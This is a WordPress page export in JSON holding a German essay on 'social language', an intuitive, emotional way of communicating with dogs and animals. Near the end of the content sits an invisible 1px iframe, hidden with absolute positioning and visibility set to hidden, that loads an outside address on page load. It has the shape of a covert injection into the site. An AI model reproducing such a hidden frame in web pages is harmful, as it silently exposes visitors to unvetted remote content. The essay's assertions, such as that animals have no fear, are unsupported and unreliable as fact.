{"id":1284,"date":"2015-07-08T21:43:29","date_gmt":"2015-07-08T19:43:29","guid":{"rendered":"http:\/\/www.hubert-asam.de\/?page_id=1284"},"modified":"2021-04-15T17:09:41","modified_gmt":"2021-04-15T15:09:41","slug":"soziale-sprache","status":"publish","type":"page","link":"https:\/\/www.hubert-asam.de\/?page_id=1284","title":{"rendered":"Soziale Sprache"},"content":{"rendered":"<p>[et_pb_section][et_pb_row make_fullwidth=&#8220;off&#8220; use_custom_width=&#8220;off&#8220; width_unit=&#8220;on&#8220; use_custom_gutter=&#8220;off&#8220; padding_mobile=&#8220;off&#8220; allow_player_pause=&#8220;off&#8220; parallax=&#8220;off&#8220; parallax_method=&#8220;off&#8220; make_equal=&#8220;off&#8220;][et_pb_column type=&#8220;1_2&#8243;][et_pb_text admin_label=&#8220;Text&#8220; background_layout=&#8220;light&#8220; text_orientation=&#8220;left&#8220; use_border_color=&#8220;off&#8220; border_color=&#8220;#ffffff&#8220; border_style=&#8220;solid&#8220; text_line_height=&#8220;2em&#8220;]<\/p>\n<p><strong>Soziale Sprache<\/strong><\/p>\n<p>Kommunikation mit einem Tier und von Tieren untereinander ist ein frei schwebendes System (free floating system).<br \/>\nEin Mensch der nat\u00fcrliche Kommunikation erlernt wird auch, darauf zu vertrauen, dass dieses System auch tr\u00e4gt. Er wird lernen sich auf Natur und \u00d6kologie zu verlassen.<\/p>\n<p>Es gen\u00fcgt, authentisch zu sein und das Netz (ecological web) wird ihn halten und tragen.<br \/>\nIch erw\u00e4hne hier den englischen Ausdruck \u201eweb\u201c, weil web mehr bedeutet als nur ein gekn\u00fcpftes Netz mit einzelnen Str\u00e4ngen, ein \u201eWeb\u201c ist komplexer. Ein Web kann Systeme in sich haben (wie eine Galaxie mehrere Sonnensysteme enthalten kann) und ist vielschichtiger als ein Netz. Die deutsche Sprache hat daf\u00fcr kein Wort.<br \/>\nWie immer wenn man nat\u00fcrliche Vorg\u00e4nge beschreiben will wird man sich der \u00f6kologischen Unzul\u00e4nglichkeit von abstrakter Sprache bewu\u00dft. K\u00f6rpersprache, Emotion und Beziehung als soziale Sprache sind da klar im Vorteil. Jede Nuance kann aufgenommen und \u00fcbermittelt werden.<\/p>\n<p>Versucht der Mensch beim Versuch soziale Kommunikation zu erlernen auf einzelne kausale Str\u00e4nge zu treten, wird er sp\u00fcren, dass kein einzelner Strang ihn h\u00e4lt, es ist nur die Gemeinschaft aller Str\u00e4nge, die das schafft.<br \/>\nBei allen Emotionen die in sozialer Sprache vermittelt werden ist in dieser Situation eines sofort offensichtlich:<br \/>\nAngst hat hier keinen Platz.<br \/>\nEin Mensch hat in einer so komplexen Situation die er zu Beginn nicht kognitiv erfassen kann gerne Angst. Angst ist \u201eNichtemotion\u201c. Angst l\u00f6st Notprogramme aus. Angst ist bei Tieren nicht vorhanden.<br \/>\nIntuition als Leitfaden wird den meisten Menschen im Laufe ihres Lebens aberzogen. Sich einfach auf das Gef\u00fchl zu verlassen ist eine Kunst die immer weniger Menschen beherrschen.<br \/>\nDie kognitive Absicherung mit der zweitbesten L\u00f6sung, das aus der Verantwortung gehen, ist die obsolete L\u00f6sung mit der Intuition ersetzt wird.<br \/>\nTiere sch\u00e4rfen ihre Emotionen ihr Gef\u00fchl f\u00fcr Leben. Je mehr Erfahrungen sie sammeln, desto sicherer werden sie.<br \/>\nSie sichern sich niemals ab, sie gehen immer in die volle Verantwortung.<\/p>\n<p>Das interessante an der Angst des Menschen (Angst hat man immer gegen\u00fcber diffusem unerkl\u00e4rbaren) ist, dass er Angst vor etwas hat, das er f\u00fcr diffus h\u00e4lt obwohl es das gar nicht ist. Es ist lediglich komplex.<br \/>\n\u00d6kologie entzieht sich menschlicher Logik und Kapitalismus.<br \/>\nEinfache Mathematik hilft in emotionalen Fragen nicht. 7 Liebe ist nicht besser oder mehr als 1 Liebe. Liebe ist Liebe, die hat man eben. Liebe ist eins sein mit der Welt.<br \/>\nEmotionen mit Kapitalismus zu ersetzen (2 Leckerli sind besser als 1 Leckerli und kein Leckerli ist die Strafe) hat zur Folge dass Gef\u00fchle durch Anerkennung und Besitz ersetzt werden. Beziehungen k\u00f6nnen auf dieser Basis nicht auf Augenh\u00f6he gef\u00fchrt werden.<\/p>\n<p>Die Angst des Menschen vor der Ungewissheit im tierischen Bereich ist vollkommen unbegr\u00fcndet.<br \/>\nIst er sich der Grundregeln nat\u00fcrlicher Kommunikation bewu\u00dft, kann er, wie das Tier auch auf die Regeln der Natur vertrauen. Diese gelten f\u00fcr alle, nicht nur f\u00fcr Tiere.<br \/>\nDann mag er den ersten Schritt f\u00fcrchten (Furcht bezieht sich auf etwas konkretes), kann aber durch Erfahrungen und Begleitung zu Verhaltens-Sicherheit gelangen.<br \/>\nIst der Punkt erreicht an dem er INTUITIV \u00fcber alle Parameter GLEICHZEITIG kommuniziert, kann er von sich aus ohne Unterst\u00fctzung wahrnehmen und den Hund als Lehrer von \u00d6kologie akzeptieren.<br \/>\n\u00d6kologie verh\u00e4lt sich so dass man sich im vielschichtigen vernetzten Web orientieren kann.<br \/>\nIntuition ist bei komplexen Aufgaben die beste L\u00f6sung, denn sie ist ebenso vielschichtig.<br \/>\nKognitive Beweise sind unn\u00f6tig. Kognition st\u00f6rt die Schwingung und das Flie\u00dfen im Web.<\/p>\n<p>Wenn Tiere nicht wissen was sie tun sollen lassen, sie sich in das ecological web fallen mit der klaren Erkenntnis dort auch aufgefangen zu werden.<br \/>\nIhr Bewu\u00dftseinszustand \u00e4hnelt dabei eher einer aktiven Trance als dem bewu\u00dften Denkens und Studierens.<br \/>\nZeit ist in der \u00d6kologie anderen Rhythmen unterworfen ist nicht linear, deshalb kann man dort zum Beispiel eines nach dem anderen tun und dennoch gleichzeitig handeln. In der nat\u00fcrlichen, vorgesehenen Reihenfolge, verbunden mit dem Entwicklungsrhythmus des Gegen\u00fcbers (Empf\u00e4ngers), ist es aus \u00f6kologischer Sicht ein Vorgang der sich getakteter Zeit entzieht. Wer auf genetischer Basis kommuniziert wird den Regeln gegen\u00fcber stehen die er aus dem Gef\u00fchlsbereich kennt. Genetik kommt aus der Vergangenheit und ist ein Wissenspool der im Moment und in der Zukunft gleicherma\u00dfen wirkt. Innerhalb des Webs eben auch gleichzeitig.<br \/>\n\u00d6kologische, soziale Kommunikation wirkt durch 2 Generationen durch.<\/p>\n<p>Angst wird durch Vertrauen in die eigene Natur unm\u00f6glich.<br \/>\nDas eigene Ego verliert an Bedeutung.<br \/>\nDas Tier braucht nur die Nachricht auch ein Tier zu sein (meist schlie\u00dft Mutterkontakt soziale Gene auf) und wird vertrauensvoll kommunizieren.<br \/>\nWer kognitiv, und logisch abgesichert versucht in einem solchen System zurechtzukommen, wird zwangsl\u00e4ufig scheitern und \u201edurchfallen\u201c im wahrsten Sinne des Wortes.<br \/>\nEs kommt zu einem kognitiv angstvollen Klammern an einzelne Str\u00e4nge des Netzes das Netz ger\u00e4t in Schieflage.<\/p>\n<p>Ein Mensch der lernt mit einem Hund auf Basis des genetischen Codes des Hundes zu kommunizieren macht so ganz nebenbei die Erfahrung dass man sich auf \u00d6kologie und Natur felsenfest verlassen kann, dass bei einem authentischen Tausch der Beziehungen ein noch st\u00e4rkeres, dichteres \u00d6kologisches Netz entsteht als es zuvor der Fall war.<\/p>\n<p>In der Praxis hei\u00dft das: Sie m\u00fcssen jeden Parameter, den Sie unter der Rubrik &#8222;Soziale Sprache&#8220; finden, ununterbrochen und gleichzeitig gleichwertig in Ihr Leben aufnehmen, \u00e4hnlich einem Fahrradreifen. Jede einzelne Speiche gilt es unter gleichm\u00e4\u00dfiger Spannung zu halten. Sie m\u00fcssen permanent alle Speichen gleich angezogen haben. Ist auch nur bei einer Speiche die Spannung ver\u00e4ndert, zu weich oder zu hart, eiert das komplette Fahrrad.<br \/>\nEs ist die innere Haltung die am Anfang und am Ende sozialer Kommunikation steht.<\/p>\n<p>In der Realit\u00e4t hei\u00dft es aber noch etwas:<br \/>\nSoziale Sprache ist eine intuitive, eine emotionale Sprache.<br \/>\nEs geht um Respekt und Vertrauen.<br \/>\nEs geht um Intuitivsysteme, die immer komplett und ganz sein m\u00fcssen um zu sein was sie sein sollen. Sind sie nicht ganz, sind sie etwas anderes.<br \/>\nIn Intuitivsystemen darf es nie einen Haarriss geben. Es darf keinen Fleck, keinen Zweifel. Ein Haarriss in Liebe hei\u00dft: Keine Liebe. Man ist nicht eins mit der Welt.<br \/>\nEin winziger Zweifel an Vertrauen hei\u00dft: kein Vertrauen. Man ist nicht eins mit dem Gegen\u00fcber.<br \/>\nWir lernen von den Tieren selbst Vertrauen haben,\u00a0Vertrauen in uns und in den anderen, um mit Tieren wirklich in unserer gemeinsamen Welt zu kommunizieren.<\/p>\n<p>Ein guter Freund von mir hat einmal gesagt: <em>was du deinem Hund nicht gibst, kannst du von ihm nicht verlangen<\/em>. So ist es. Es ist nicht materiell gemeint, du nimmst den Knochen an dich, wenn du willst, aber das Vertrauen das musst du immer bereit sein zu schenken und immer bereit sein es einzufordern.<\/p>\n<p>Dein Tier wird dich, deine Aufrichtigkeit und den Ernst deines Ansinnens in seiner Welt pr\u00fcfen. Es hat W\u00e4chter an den Toren zu seiner Ebene installiert.<br \/>\nDiese W\u00e4chter sind unbestechlich. Nichts, was dich in der Welt der Menschen als gut oder wichtig erscheinen l\u00e4sst, beeindruckt sie nur im geringsten. Du musst dich klein machen, die Tore sind klein. Du musst nackt sein und dich ganz ausliefern, in ihrer Welt gibt es keine Kleider, keine \u00c4u\u00dferlichkeiten.<br \/>\nEs hilft zum Verst\u00e4ndnis von \u00d6kologie und tierischer Kommunikation Mythen als Bildmuster zu nehmen, sie sind archetypisches Zeugnis unser selbst und der Welt an sich.<br \/>\nDie psychische Welt eines Tieres das sozial vernetzt lebt unterscheidet sich nicht komplett von unserer. Lassen sie bei dem Versuch sich selbst einmal zu verstehen Sprache weg. Was bleibt ihnen?<br \/>\nBild.<br \/>\nC.G. Jung und Joseph Campbell sind die beiden Menschen die uns lehren diese Bilder zu entschl\u00fc\u00dfeln, in uns zu finden und auf sie (und damit uns selbst) zu vertrauen.<br \/>\nWir sind nicht isoliert mit Natur, wir sind mit ihr, mehr als nur ein Teil von ihr.<br \/>\nDas Wort trennt uns im Geiste.<br \/>\nKommunikation mit einem Tier, soziale Sprache verbindet im Geiste.<\/p>\n<p>L\u00e4sst ein Mensch sich ganz ein, und akzeptiert er die Art wie \u00d6kologie akzeptiert er \u00a0Tier unter Tieren zu sein erlaubt er sich durch die Tore der Natur zu gehen. Die W\u00e4chter bleiben still, er mu\u00df niemandem beweisen dass das was er tut richtig ist und sich nicht vor der Verantwortung durch rationale Begr\u00fcndungen dr\u00fccken.<br \/>\nOhne Vertrauen bleiben die Tore zu. Nichts, kein Jammern und kein W\u00fcten, keine Manipulation und keine Bestechung wird die W\u00e4chter erweichen.<\/p>\n<p>Jede Spezie hat ihre Instinkthandlungen und Rituale, um neue Mitglieder in ihre Gesellschaft aufzunehmen. Der Mechanismus ist der immer gleiche.<br \/>\nDer Neuling muss erst Distanz akzeptieren, den Raum den die anderen brauchen um ihre Gesellschaft zu bilden, sich ganz in ihre Regularien f\u00fcgen.<br \/>\nDann ist er herzlich willkommen und kann sozial sprechen,<br \/>\nFragen werden beantwortet und jede Bitte erf\u00fcllt.<br \/>\nGeschenkt bekommt er nichts.<br \/>\nNatur ist kein Geschenk und auch kein Selbstbedienungsladen, was man nicht gibt darf man nicht nehmen.<\/p>\n<p>F\u00fcr mich als P\u00e4dagoge ein Faszinosum.<br \/>\nDie W\u00e4chter der Tiere sagen mir, wie es um unser Inneres bestellt ist.<br \/>\nEin kleiner Wolf fr\u00e4gt den kleinen Wolf in uns. Dessen W\u00e4chter beantworten Fragen.<\/p>\n<p>Soziale Sprache hat zur Folge dass alle daran Beteiligten das Beste bekommen was man bekommen kann, egal wieviel es ist.<br \/>\nAlles ist im Kleinen enthalten.<\/p>\n<p><iframe loading=\"lazy\" id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\" width=\"300\" height=\"150\"><\/iframe><\/p>\n<p>[\/et_pb_text][\/et_pb_column][et_pb_column type=&#8220;1_2&#8243;][et_pb_image admin_label=&#8220;Bild&#8220; src=&#8220;http:\/\/www.hubert-asam.de\/WP\/wp-content\/uploads\/2015\/07\/R7J0295-klein.jpg&#8220; title_text=&#8220;Erstkontakt, Ber\u00fchrung erlaubt?&#8220; show_in_lightbox=&#8220;off&#8220; url_new_window=&#8220;off&#8220; animation=&#8220;left&#8220; sticky=&#8220;off&#8220; align=&#8220;left&#8220; force_fullwidth=&#8220;off&#8220; always_center_on_mobile=&#8220;on&#8220; use_border_color=&#8220;off&#8220; border_color=&#8220;#ffffff&#8220; border_style=&#8220;solid&#8220; \/][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p><div class=\"et_pb_section et_pb_section_0 et_section_regular\" >\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t<\/div> Soziale Sprache Kommunikation mit einem Tier und von Tieren untereinander ist ein frei schwebendes System (free floating system). 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